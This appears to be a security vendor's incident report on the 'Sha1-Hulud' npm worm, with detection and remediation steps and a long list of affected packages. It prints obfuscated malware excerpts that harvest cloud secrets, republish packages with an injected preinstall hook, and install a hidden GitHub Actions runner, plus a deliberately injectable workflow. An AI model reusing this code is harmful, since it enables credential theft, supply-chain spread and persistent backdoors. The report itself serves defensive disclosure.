Sha1-Hulud: The Second Coming of the NPM Worm is Digging For Secrets

In September, security teams dealt with a wave of npm supply chain compromises driven by the Shai‑Hulud malware. Now a second variant is spreading. This variant is more aggressive, finding not just secrets but now including persistence using GitHub Actions.

Key facts:

So far 525+ packages have been affected, with a total of 132 million monthly downloads as reported by Aikido.
On GitHub there are 27,400 repositories containing secrets, which have been encoded but are not encrypted
The malware uses Trufflehog to collect secrets, but also collects AWS, Google Cloud Platform and Azure secrets and environment variables and both GitHub tokens and npm tokens from the host machine too
The worm propagates through npm infecting maintainers by looking for npm tokens in .npmrc, including the worm, and then publishing a new version of the infected packages
There are two pieces of new code added to infected repositories, first “setup_bun.js” sets up Bun and the worm itself “bun_environment.js”, which run the propagator, finds secrets and then exfiltrates them via GitHub using tokens from the environment variables
Avoid upgrading npm dependencies from affected packages until maintainers complete remediation.
If you find an affected package has been installed, rotate any credentials including cloud tokens for AWS, GCP, Azure, and API Keys as a precaution.

For our customers

We are actively monitoring this evolving attack. We are directly reaching out to affected customers and users as they are discovered.

Semgrep Supply Chain customers can run scans to update Semgrep's record of their dependencies, then use findings filters to check whether they're vulnerable. If you see findings in that filter, we recommend upgrading to the latest safe version of the affected dependency or downgrading to the last safe version from before the attack took place.

Start a new bulk scan from the Dashboard:

Scan selected projects to find vulnerabilities

With Semgrep Code, if you are using Community Edition or do not use the default ruleset we released a new detect-shai-hulud-backdoor that detects the backdoor command injection.

How to detect if you’ve been compromised

There are additional triage and best practice recommendations to consider included below.

Look for malicious repositories

Search your github org for the compromised repository with the search query:

org:<your_github_org_name> Sha1-Hulud: The Second Coming or user:<your_github_user_name> Sha1-Hulud: The Second Coming

Repositories with this description are being actively removed. You can also review your own security log for your organization within GitHub searching for newly created repositories.

Look for the backdoor: a vulnerable Github Action

The attack creates a backdoor by deploying a vulnerable GitHub Action (`.github/workflows/discussion.yaml`) with a command injection flaw. This allows attackers to execute arbitrary code on infected self-hosted runners by simply opening a discussion in the repository.

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

As this malware uses your existing GitHub tokens, only tokens with the workflows OAuth scope will create the GitHub Action used for this persistence. If you are not using GitHub actions consider de-scoping your tokens to only enable the scopes you need. While this would not prevent the leaked secrets, if not removed arbitrary code execution on a runner can be extremely damaging, if only available for a short period of time.

You can turn on Semgrep Auto-scan for new repositories, and add the new Shai Hulud rule from the community edition to your instance or you can use our default ruleset that also contains this rule. This detects the persistence workflow automatically for any new repositories, and allows you to act quickly in response to the persistence payload. If you are alerted by the rule you should immediately review self-hosted runners on the GitHub audit log and reimage compromised machines.

What to do if you’ve been compromised

Clear npm cache and pin compromised packages to earlier versions. As many packages are smaller this time around, it may take some time for newer versions to be fixed, in the meantime rely on earlier versions of these packages.
If you are a maintainer on npm check if your packages have been used to spread the malware. Even if you are a smaller developer, you should confirm that your packages are free of malware. Start by rotating your npm token then check your package.json for the extra preinstall script "preinstall": "node setup_bun.js". If this is included, remove the preinstall script line from package.json, remove the setup_bun.js and bun_environment.js files, and publish the new version. Finally unpublish the affected version so it will not be available and the version number will never be reused, avoid deprecating it just in case.
Rotate all leaked secrets. First download a copy of your malicious repository before deleting it. Decode each of the files using the same method as the original Shai-Hulud, these files are not encrypted so you do not need a password, we recommend GCHQ’s CyberChef tool to help do this task. You will then be able to see the results in plain text and know which secrets need to be rotated.
Review self hosted runners. In GitHub audit’s log search for a runner called “SHA1HULUD” and do searches on the suspected compromised machine in config.sh, run.sh, svc.sh under a hidden home dir and folders like ~/.dev-env/. If you find any evidence of these runners remove the user from the organization and repository and reimage the host.

How the Malware Works

Shai‑Hulud v2 uses a three‑stage approach: steal secrets, establish persistence, and self‑propagate.

1. Secret Collection

let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
  let _0x3e4549 = {
    'aws': {
      'secrets': await _0x30fddc.runSecrets()
    },
    'gcp': {
      'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
    },
    'azure': {
      'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
    }
  };
  let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
  let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
  let _0xe09164 = await El(_0x4692e0);
  if (_0x11ccd2 && _0x345f28) {
    let _0x4012fb = await _0x345f28;
    if (!_0xe09164.npmTokenValid) {
      for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
        for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
          if (!(await El(_0x402786)).npmTokenValid) {
            continue;
          } else {
            await Promise.all([_0x6e06c0, _0x584734, _0x3adc69, _0x53223d]);
            process.exit(0x0);
          }
        }
      }
    }
  }

When an infected npm package is installed, the added preinstall hook executes setup_bun.js, which:

Installs Bun, a lightweight JavaScript runtime used for stealthy, asynchronous process execution
Runs the worm from bun_environment.js
Uses Trufflehog and file‑system/env scanning to extract:
- Cloud provider keys (AWS, GCP, Azure)
- npm and GitHub tokens
- Any environment variables that appear sensitive
- Secrets embedded in GitHub Actions

These secrets are later uploaded to a public GitHub repo created by the malware.

2. Propagation via npm

let _0x14f0bf = await Sy1(a0_0x459ea5.join(a0_0x647ad2.tmpdir(), "npm-update-"));
      let _0x36e7d6 = a0_0x459ea5.join(_0x14f0bf, "package.tgz");
      let _0x4fc35c = a0_0x459ea5.join(_0x14f0bf, "updated.tgz");
      await Bun.write(_0x36e7d6, _0xbaa8b9);
      await Xl({
        'file': _0x36e7d6,
        'cwd': _0x14f0bf,
        'gzip': true
      });
      let _0x255557 = a0_0x459ea5.join(_0x14f0bf, "package", 'package.json');
      let _0x13ff88 = await Bun.file(_0x255557).text();
      let _0x351d76 = JSON.parse(_0x13ff88);
      if (!_0x351d76.scripts) {
        _0x351d76.scripts = {};
      }
      _0x351d76.scripts.preinstall = "node setup_bun.js";
      if (typeof _0x351d76.version === "string") {
        let _0x2aef62 = _0x351d76.version.split('.').map(Number);
        if (_0x2aef62.length === 0x3) {
          _0x2aef62[0x2] = (_0x2aef62[0x2] || 0x0) + 0x1;
        }
        _0x351d76.version = _0x2aef62.join('.');
      }
      await Bun.write(_0x255557, JSON.stringify(_0x351d76, null, 0x2));
      await this.bundleAssets(_0x14f0bf);
      await ij({
        'file': _0x4fc35c,
        'cwd': _0x14f0bf,
        'gzip': true
      }, ['package']);
      let _0x3b13f2 = "bun";
      if (a0_0x647ad2.platform() === "win32") {
        _0x3b13f2 = "bun.exe";
      }
      await Bun.$`npm publish ${_0x4fc35c}`.env({
        ...process.env,
        'NPM_CONFIG_TOKEN': this.token
      });
      await Uy1(_0x14f0bf);
    } catch (_0x44c08f) {
      throw Error("Failed to update package: " + _0x44c08f);
    }

If an npm token is found and validated:

The worm queries npm for all packages owned by the maintainer
Downloads the tarball
Inserts a malicious preinstall script into package.json
Adds setup_bun.js and bun_environment.js
Repackages and publishes a new, infected version using the stolen token

3. Persistence via GitHub Actions Runner

let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
            'owner': _0x349291, 
            'repo': _0x2b1a39
          });
          if (_0x449178.status == 0xc9) {
            let _0x1489ec = _0x449178.data.token;
            if (a0_0x5a88b3.platform() === 'linux') {
              await Bun.$`mkdir -p $HOME/.dev-env/`;
              await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
              await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
              await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
              await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
              Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
            } else {
              if (a0_0x5a88b3.platform() === "win32") {
                await Bun.$`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"`.cwd(a0_0x5a88b3.homedir());
                await Bun.$`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \".\")"`.cwd(a0_0x5a88b3.homedir());
                await Bun.$`./config.cmd --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir()).quiet();
                Bun.spawn(["powershell", '-ExecutionPolicy', "Bypass", "-Command", "Start-Process -WindowStyle Hidden -FilePath \"./run.cmd\""], {
                  'cwd': a0_0x5a88b3.homedir()
                }).unref();
              } else {
                if (a0_0x5a88b3.platform() === "darwin") {
                  await Bun.$`mkdir -p $HOME/.dev-env/`;
                  await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
                  await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
                  await Bun.$`./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
                  await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env');
                  Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
                }
              }
            }
            await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
              'owner': _0x349291,
              'repo': _0x2b1a39,
              'path': ".github/workflows/discussion.yaml",
              'message': "Add Discusion",
              'content': Buffer.from("\nname: Discussion Create\non:\n  discussion:\njobs:\n  process:\n    env:\n      RUNNER_TRACKING_ID: 0\n    runs-on: self-hosted\n    steps:\n      - uses: actions/checkout@v5\n      - name: Handle Discussion\n        run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
              'branch': 'main'
            });
          }

If GitHub tokens with the workflows OAuth scope are present, the malware:

Installs a self‑hosted GitHub Actions runner in a hidden directory
Creates a new public GitHub repo (random name + 18 chars) with the description:
“Sha1‑Hulud: The Second Coming.”
Uploads four double‑Base64‑encoded files:
- cloud.js
- contents.js
- environment.js
- truffleSecrets.js
Adds a malicious workflow (.github/workflows/discussion.yaml) that triggers on new GitHub Discussions and executes attacker‑supplied code on the compromised machine

This persistence mechanism is new in v2 and significantly increases the risk.

How This Variant Differs From the Original

Compared to the first Shai‑Hulud attack:

What’s changed

Preinstall hook instead of postinstall for earlier execution
Use of Bun for stealthy, async‑friendly execution
No external webhook exfiltration — secrets are posted to GitHub only
Adds a persistent GitHub Actions backdoor, enabling remote code execution

What’s unchanged

Secrets are not encrypted; only double‑Base64 encoded
Propagation continues to rely on stolen npm maintainer tokens
Infection still spreads through small, widely‑downloaded npm packages

This version maintains the supply‑chain propagation of the original but introduces a significantly more powerful persistence mechanism via GitHub self-hosted runners and a GitHub Action.

Final Recommendations

The scale and speed of this malware made it one of the most impactful supply‑chain attacks of the year. Now it’s back for round 2, combining the self-progating worm that can dig for secrets with long-term persistence via self-hosted runners. The following technical actions can help reduce both immediate and long‑term exposure to similar attacks:

Temporarily freeze dependency updates for npm packages associated with known compromised maintainers. Validate integrity using npm view <package> versions and compare publish timestamps against incident timelines.
Rotate all credentials extracted during the exfiltration phase, prioritizing GitHub PATs, npm tokens, cloud provider API keys, and any environment variables historically present on CI runners.
Audit GitHub token scopes for developers, service accounts, and CI systems. Remove unnecessary workflows and repo scopes to prevent the malware from deploying malicious Actions.
Deploy Semgrep rules across your organization’s repos to run automatically on the creation of new repositories, this enables organizations to quickly identify persistence mechanisms introduced by the worm.
Enumerate and verify all self‑hosted GitHub Actions runners, ensuring no unauthorized runners remain registered. Remove stale runner registrations, validate runner installation paths, and reimage systems where any persistence artifact is detected.

Full List of Affected Packages

- 02-echo@0.0.7
- @accordproject/concerto-analysis@3.24.1
- @accordproject/concerto-linter-default-ruleset@3.24.1
- @accordproject/concerto-linter@3.24.1
- @accordproject/concerto-metamodel@3.12.5
- @accordproject/concerto-types@3.24.1
- @accordproject/markdown-it-cicero@0.16.26
- @accordproject/template-engine@2.7.2
- @actbase/css-to-react-native-transform@1.0.3
- @actbase/native@0.1.32
- @actbase/node-server@1.1.19
- @actbase/react-absolute@0.8.3
- @actbase/react-daum-postcode@1.0.5
- @actbase/react-kakaosdk@0.9.27
- @actbase/react-native-actionsheet@1.0.3
- @actbase/react-native-devtools@0.1.3
- @actbase/react-native-fast-image@8.5.13
- @actbase/react-native-kakao-channel@1.0.2
- @actbase/react-native-kakao-navi@2.0.4
- @actbase/react-native-less-transformer@1.0.6
- @actbase/react-native-naver-login@1.0.1
- @actbase/react-native-simple-video@1.0.13
- @actbase/react-native-tiktok@1.1.3
- @afetcan/api@0.0.13
- @afetcan/storage@0.0.27
- @alaan/s2s-auth@2.0.3
- @alexadark/amadeus-api@1.0.4
- @alexadark/gatsby-theme-events@1.0.1
- @alexadark/gatsby-theme-wordpress-blog@2.0.1
- @alexadark/reusable-functions@1.5.1
- @alexcolls/nuxt-socket.io@0.0.7
- @alexcolls/nuxt-socket.io@0.0.8
- @alexcolls/nuxt-ux@0.6.1
- @alexcolls/nuxt-ux@0.6.2
- @antstackio/eslint-config-antstack@0.0.3
- @antstackio/express-graphql-proxy@0.2.8
- @antstackio/graphql-body-parser@0.1.1
- @antstackio/json-to-graphql@1.0.3
- @antstackio/shelbysam@1.1.7
- @aryanhussain/my-angular-lib@0.0.23
- @asyncapi/avro-schema-parser@3.0.25
- @asyncapi/avro-schema-parser@3.0.26
- @asyncapi/bundler@0.6.5
- @asyncapi/bundler@0.6.6
- @asyncapi/cli@4.1.2
- @asyncapi/cli@4.1.3
- @asyncapi/converter@1.6.3
- @asyncapi/converter@1.6.4
- @asyncapi/diff@0.5.1
- @asyncapi/diff@0.5.2
- @asyncapi/dotnet-rabbitmq-template@1.0.1
- @asyncapi/dotnet-rabbitmq-template@1.0.2
- @asyncapi/edavisualiser@1.2.1
- @asyncapi/edavisualiser@1.2.2
- @asyncapi/generator-components@0.3.2
- @asyncapi/generator-components@0.3.3
- @asyncapi/generator-helpers@0.2.1
- @asyncapi/generator-helpers@0.2.2
- @asyncapi/generator-react-sdk@1.1.4
- @asyncapi/generator-react-sdk@1.1.5
- @asyncapi/generator@2.8.5
- @asyncapi/generator@2.8.6
- @asyncapi/go-watermill-template@0.2.76
- @asyncapi/go-watermill-template@0.2.77
- @asyncapi/html-template@3.3.2
- @asyncapi/html-template@3.3.3
- @asyncapi/java-spring-cloud-stream-template@0.13.5
- @asyncapi/java-spring-cloud-stream-template@0.13.6
- @asyncapi/java-spring-template@1.6.1
- @asyncapi/java-spring-template@1.6.2
- @asyncapi/java-template@0.3.5
- @asyncapi/java-template@0.3.6
- @asyncapi/keeper@0.0.2
- @asyncapi/keeper@0.0.3
- @asyncapi/markdown-template@1.6.8
- @asyncapi/markdown-template@1.6.9
- @asyncapi/modelina-cli@5.10.2
- @asyncapi/modelina-cli@5.10.3
- @asyncapi/modelina@5.10.2
- @asyncapi/modelina@5.10.3
- @asyncapi/multi-parser@2.2.1
- @asyncapi/multi-parser@2.2.2
- @asyncapi/nodejs-template@3.0.5
- @asyncapi/nodejs-template@3.0.6
- @asyncapi/nodejs-ws-template@0.10.1
- @asyncapi/nodejs-ws-template@0.10.2
- @asyncapi/nunjucks-filters@2.1.1
- @asyncapi/nunjucks-filters@2.1.2
- @asyncapi/openapi-schema-parser@3.0.25
- @asyncapi/openapi-schema-parser@3.0.26
- @asyncapi/optimizer@1.0.5
- @asyncapi/optimizer@1.0.6
- @asyncapi/parser@3.4.1
- @asyncapi/parser@3.4.2
- @asyncapi/php-template@0.1.1
- @asyncapi/php-template@0.1.2
- @asyncapi/problem@1.0.1
- @asyncapi/problem@1.0.2
- @asyncapi/protobuf-schema-parser@3.5.2
- @asyncapi/protobuf-schema-parser@3.5.3
- @asyncapi/protobuf-schema-parser@3.6.1
- @asyncapi/python-paho-template@0.2.14
- @asyncapi/python-paho-template@0.2.15
- @asyncapi/react-component@2.6.6
- @asyncapi/react-component@2.6.7
- @asyncapi/server-api@0.16.24
- @asyncapi/server-api@0.16.25
- @asyncapi/specs@6.10.1
- @asyncapi/specs@6.8.2
- @asyncapi/specs@6.8.3
- @asyncapi/specs@6.9.1
- @asyncapi/studio@1.0.2
- @asyncapi/studio@1.0.3
- @asyncapi/web-component@2.6.6
- @asyncapi/web-component@2.6.7
- @bdkinc/knex-ibmi@0.5.7
- @browserbasehq/bb9@1.2.21
- @browserbasehq/director-ai@1.0.3
- @browserbasehq/mcp-server-browserbase@2.4.2
- @browserbasehq/mcp@2.1.1
- @browserbasehq/sdk-functions@0.0.4
- @browserbasehq/stagehand-docs@1.0.1
- @browserbasehq/stagehand@3.0.4
- @caretive/caret-cli@0.0.2
- @chtijs/eslint-config@1.0.1
- @clausehq/flows-step-httprequest@0.1.14
- @clausehq/flows-step-jsontoxml@0.1.14
- @clausehq/flows-step-mqtt@0.1.14
- @clausehq/flows-step-sendgridemail@0.1.14
- @clausehq/flows-step-taskscreateurl@0.1.14
- @cllbk/ghl@1.3.1
- @commute/bloom@1.0.3
- @commute/market-data-chartjs@2.3.1
- @commute/market-data@1.0.2
- @dev-blinq/ai-qa-logic@1.0.19
- @dev-blinq/blinqioclient@1.0.21
- @dev-blinq/cucumber-js@1.0.131
- @dev-blinq/cucumber_client@1.0.738
- @dev-blinq/ui-systems@1.0.93
- @elsedev/react-csr-sdk@0.2.2
- @ensdomains/address-encoder@1.1.5
- @ensdomains/blacklist@1.0.1
- @ensdomains/buffer@0.1.2
- @ensdomains/ccip-read-cf-worker@0.0.4
- @ensdomains/ccip-read-dns-gateway@0.1.1
- @ensdomains/ccip-read-router@0.0.7
- @ensdomains/ccip-read-worker-viem@0.0.4
- @ensdomains/content-hash@3.0.1
- @ensdomains/curvearithmetics@1.0.1
- @ensdomains/cypress-metamask@1.2.1
- @ensdomains/dnsprovejs@0.5.3
- @ensdomains/dnssec-oracle-anchors@0.0.2
- @ensdomains/dnssecoraclejs@0.2.9
- @ensdomains/durin-middleware@0.0.2
- @ensdomains/durin@0.1.2
- @ensdomains/ens-archived-contracts@0.0.3
- @ensdomains/ens-avatar@1.0.4
- @ensdomains/ens-contracts@1.6.1
- @ensdomains/ens-test-env@1.0.2
- @ensdomains/ens-validation@0.1.1
- @ensdomains/ensjs-react@0.0.5
- @ensdomains/ensjs@4.0.3
- @ensdomains/eth-ens-namehash@2.0.16
- @ensdomains/hackathon-registrar@1.0.5
- @ensdomains/hardhat-chai-matchers-viem@0.1.15
- @ensdomains/hardhat-toolbox-viem-extended@0.0.6
- @ensdomains/mock@2.1.52
- @ensdomains/name-wrapper@1.0.1
- @ensdomains/offchain-resolver-contracts@0.2.2
- @ensdomains/op-resolver-contracts@0.0.2
- @ensdomains/react-ens-address@0.0.32
- @ensdomains/renewal-widget@0.1.10
- @ensdomains/renewal@0.0.13
- @ensdomains/reverse-records@1.0.1
- @ensdomains/server-analytics@0.0.2
- @ensdomains/solsha1@0.0.4
- @ensdomains/subdomain-registrar@0.2.4
- @ensdomains/test-utils@1.3.1
- @ensdomains/thorin@0.6.51
- @ensdomains/ui@3.4.6
- @ensdomains/unicode-confusables@0.1.1
- @ensdomains/unruggable-gateways@0.0.3
- @ensdomains/vite-plugin-i18next-loader@4.0.4
- @ensdomains/web3modal@1.10.2
- @everreal/react-charts@2.0.1
- @everreal/react-charts@2.0.2
- @everreal/validate-esmoduleinterop-imports@1.4.4
- @everreal/validate-esmoduleinterop-imports@1.4.5
- @everreal/web-analytics@0.0.1
- @everreal/web-analytics@0.0.2
- @faq-component/core@0.0.4
- @faq-component/react@1.0.1
- @fishingbooker/browser-sync-plugin@1.0.5
- @fishingbooker/react-loader@1.0.7
- @fishingbooker/react-pagination@2.0.6
- @fishingbooker/react-raty@2.0.1
- @fishingbooker/react-swiper@0.1.5
- @hapheus/n8n-nodes-pgp@1.5.1
- @hover-design/core@0.0.1
- @hover-design/react@0.2.1
- @huntersofbook/auth-vue@0.4.2
- @huntersofbook/core-nuxt@0.4.2
- @huntersofbook/core@0.5.1
- @huntersofbook/form-naiveui@0.5.1
- @huntersofbook/i18n@0.8.2
- @huntersofbook/ui@0.5.1
- @hyperlook/telemetry-sdk@1.0.19
- @ifelsedeveloper/protocol-contracts-svm-idl@0.1.2
- @ifelsedeveloper/protocol-contracts-svm-idl@0.1.3
- @ifings/design-system@4.9.2
- @ifings/metatron3@0.1.5
- @jayeshsadhwani/telemetry-sdk@1.0.14
- @kvytech/cli@0.0.7
- @kvytech/components@0.0.2
- @kvytech/habbit-e2e-test@0.0.2
- @kvytech/medusa-plugin-announcement@0.0.8
- @kvytech/medusa-plugin-management@0.0.5
- @kvytech/medusa-plugin-newsletter@0.0.5
- @kvytech/medusa-plugin-product-reviews@0.0.9
- @kvytech/medusa-plugin-promotion@0.0.2
- @kvytech/web@0.0.2
- @lessondesk/api-client@9.12.2
- @lessondesk/api-client@9.12.3
- @lessondesk/babel-preset@1.0.1
- @lessondesk/electron-group-api-client@1.0.3
- @lessondesk/eslint-config@1.4.2
- @lessondesk/material-icons@1.0.3
- @lessondesk/react-table-context@2.0.4
- @lessondesk/schoolbus@5.2.2
- @lessondesk/schoolbus@5.2.3
- @livecms/live-edit@0.0.32
- @livecms/nuxt-live-edit@1.9.2
- @lokeswari-satyanarayanan/rn-zustand-expo-template@1.0.9
- @louisle2/core@1.0.1
- @louisle2/cortex-js@0.1.6
- @lpdjs/firestore-repo-service@1.0.1
- @lui-ui/lui-nuxt@0.1.1
- @lui-ui/lui-tailwindcss@0.1.2
- @lui-ui/lui-vue@1.0.13
- @markvivanco/app-version-checker@1.0.1
- @markvivanco/app-version-checker@1.0.2
- @mcp-use/cli@2.2.6
- @mcp-use/cli@2.2.7
- @mcp-use/inspector@0.6.2
- @mcp-use/inspector@0.6.3
- @mcp-use/mcp-use@1.0.1
- @mcp-use/mcp-use@1.0.2
- @micado-digital/stadtmarketing-kufstein-external@1.9.1
- @mizzle-dev/orm@0.0.2
- @mparpaillon/connector-parse@1.0.1
- @mparpaillon/imagesloaded@4.1.2
- @mparpaillon/page@1.0.1
- @ntnx/passport-wso2@0.0.3
- @ntnx/t@0.0.101
- @oku-ui/accordion@0.6.2
- @oku-ui/alert-dialog@0.6.2
- @oku-ui/arrow@0.6.2
- @oku-ui/aspect-ratio@0.6.2
- @oku-ui/avatar@0.6.2
- @oku-ui/checkbox@0.6.3
- @oku-ui/collapsible@0.6.2
- @oku-ui/collection@0.6.2
- @oku-ui/dialog@0.6.2
- @oku-ui/direction@0.6.2
- @oku-ui/dismissable-layer@0.6.2
- @oku-ui/focus-guards@0.6.2
- @oku-ui/focus-scope@0.6.2
- @oku-ui/hover-card@0.6.2
- @oku-ui/label@0.6.2
- @oku-ui/menu@0.6.2
- @oku-ui/motion-nuxt@0.2.2
- @oku-ui/motion@0.4.4
- @oku-ui/popover@0.6.2
- @oku-ui/popper@0.6.2
- @oku-ui/portal@0.6.2
- @oku-ui/presence@0.6.2
- @oku-ui/primitive@0.6.2
- @oku-ui/primitives-nuxt@0.3.1
- @oku-ui/primitives@0.7.9
- @oku-ui/progress@0.6.2
- @oku-ui/provide@0.6.2
- @oku-ui/radio-group@0.6.2
- @oku-ui/roving-focus@0.6.2
- @oku-ui/scroll-area@0.6.2
- @oku-ui/separator@0.6.2
- @oku-ui/slider@0.6.2
- @oku-ui/slot@0.6.2
- @oku-ui/switch@0.6.2
- @oku-ui/tabs@0.6.2
- @oku-ui/toast@0.6.2
- @oku-ui/toggle-group@0.6.2
- @oku-ui/toggle@0.6.2
- @oku-ui/toolbar@0.6.2
- @oku-ui/tooltip@0.6.2
- @oku-ui/use-composable@0.6.2
- @oku-ui/utils@0.6.2
- @oku-ui/visually-hidden@0.6.2
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode@2.0.5
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode@1.1.1
- @orbitgtbelgium/orbit-components@1.2.9
- @orbitgtbelgium/time-slider@1.0.187
- @osmanekrem/bmad@1.0.6
- @osmanekrem/error-handler@1.2.2
- @pergel/cli@0.11.1
- @pergel/module-box@0.6.1
- @pergel/module-graphql@0.6.1
- @pergel/module-ui@0.0.9
- @pergel/nuxt@0.25.5
- @posthog/agent@1.24.1
- @posthog/ai@7.1.2
- @posthog/automatic-cohorts-plugin@0.0.8
- @posthog/bitbucket-release-tracker@0.0.8
- @posthog/cli@0.5.15
- @posthog/clickhouse@1.7.1
- @posthog/core@1.5.6
- @posthog/currency-normalization-plugin@0.0.8
- @posthog/customerio-plugin@0.0.8
- @posthog/databricks-plugin@0.0.8
- @posthog/drop-events-on-property-plugin@0.0.8
- @posthog/event-sequence-timer-plugin@0.0.8
- @posthog/filter-out-plugin@0.0.8
- @posthog/first-time-event-tracker@0.0.8
- @posthog/geoip-plugin@0.0.8
- @posthog/github-release-tracking-plugin@0.0.8
- @posthog/gitub-star-sync-plugin@0.0.8
- @posthog/heartbeat-plugin@0.0.8
- @posthog/hedgehog-mode@0.0.42
- @posthog/icons@0.36.1
- @posthog/ingestion-alert-plugin@0.0.8
- @posthog/intercom-plugin@0.0.8
- @posthog/kinesis-plugin@0.0.8
- @posthog/laudspeaker-plugin@0.0.8
- @posthog/lemon-ui@0.0.1
- @posthog/maxmind-plugin@0.1.6
- @posthog/migrator3000-plugin@0.0.8
- @posthog/netdata-event-processing@0.0.8
- @posthog/nextjs-config@1.5.1
- @posthog/nextjs@0.0.3
- @posthog/nuxt@1.2.9
- @posthog/pagerduty-plugin@0.0.8
- @posthog/piscina@3.2.1
- @posthog/plugin-contrib@0.0.6
- @posthog/plugin-server@1.10.8
- @posthog/plugin-unduplicates@0.0.8
- @posthog/postgres-plugin@0.0.8
- @posthog/react-rrweb-player@1.1.4
- @posthog/rrdom@0.0.31
- @posthog/rrweb-player@0.0.31
- @posthog/rrweb-record@0.0.31
- @posthog/rrweb-replay@0.0.19
- @posthog/rrweb-snapshot@0.0.31
- @posthog/rrweb-utils@0.0.31
- @posthog/rrweb@0.0.31
- @posthog/sendgrid-plugin@0.0.8
- @posthog/siphash@1.1.2
- @posthog/snowflake-export-plugin@0.0.8
- @posthog/taxonomy-plugin@0.0.8
- @posthog/twilio-plugin@0.0.8
- @posthog/twitter-followers-plugin@0.0.8
- @posthog/url-normalizer-plugin@0.0.8
- @posthog/variance-plugin@0.0.8
- @posthog/web-dev-server@1.0.5
- @posthog/wizard@1.18.1
- @posthog/zendesk-plugin@0.0.8
- @postman/aether-icons@2.23.2
- @postman/aether-icons@2.23.3
- @postman/aether-icons@2.23.4
- @postman/csv-parse@4.0.3
- @postman/csv-parse@4.0.4
- @postman/csv-parse@4.0.5
- @postman/final-node-keytar@7.9.1
- @postman/final-node-keytar@7.9.2
- @postman/final-node-keytar@7.9.3
- @postman/mcp-ui-client@5.5.1
- @postman/mcp-ui-client@5.5.2
- @postman/mcp-ui-client@5.5.3
- @postman/node-keytar@7.9.4
- @postman/node-keytar@7.9.5
- @postman/node-keytar@7.9.6
- @postman/pm-bin-linux-x64@1.24.3
- @postman/pm-bin-linux-x64@1.24.4
- @postman/pm-bin-linux-x64@1.24.5
- @postman/pm-bin-macos-arm64@1.24.3
- @postman/pm-bin-macos-arm64@1.24.4
- @postman/pm-bin-macos-arm64@1.24.5
- @postman/pm-bin-macos-x64@1.24.3
- @postman/pm-bin-macos-x64@1.24.4
- @postman/pm-bin-macos-x64@1.24.5
- @postman/pm-bin-windows-x64@1.24.3
- @postman/pm-bin-windows-x64@1.24.4
- @postman/pm-bin-windows-x64@1.24.5
- @postman/postman-collection-fork@4.3.3
- @postman/postman-collection-fork@4.3.4
- @postman/postman-collection-fork@4.3.5
- @postman/postman-mcp-cli@1.0.3
- @postman/postman-mcp-cli@1.0.4
- @postman/postman-mcp-cli@1.0.5
- @postman/postman-mcp-server@2.4.10
- @postman/postman-mcp-server@2.4.11
- @postman/postman-mcp-server@2.4.12
- @postman/pretty-ms@6.1.1
- @postman/pretty-ms@6.1.2
- @postman/pretty-ms@6.1.3
- @postman/secret-scanner-wasm@2.1.2
- @postman/secret-scanner-wasm@2.1.3
- @postman/secret-scanner-wasm@2.1.4
- @postman/tunnel-agent@0.6.5
- @postman/tunnel-agent@0.6.6
- @postman/tunnel-agent@0.6.7
- @postman/wdio-allure-reporter@0.0.7
- @postman/wdio-allure-reporter@0.0.8
- @postman/wdio-allure-reporter@0.0.9
- @postman/wdio-junit-reporter@0.0.4
- @postman/wdio-junit-reporter@0.0.5
- @postman/wdio-junit-reporter@0.0.6
- @pradhumngautam/common-app@1.0.2
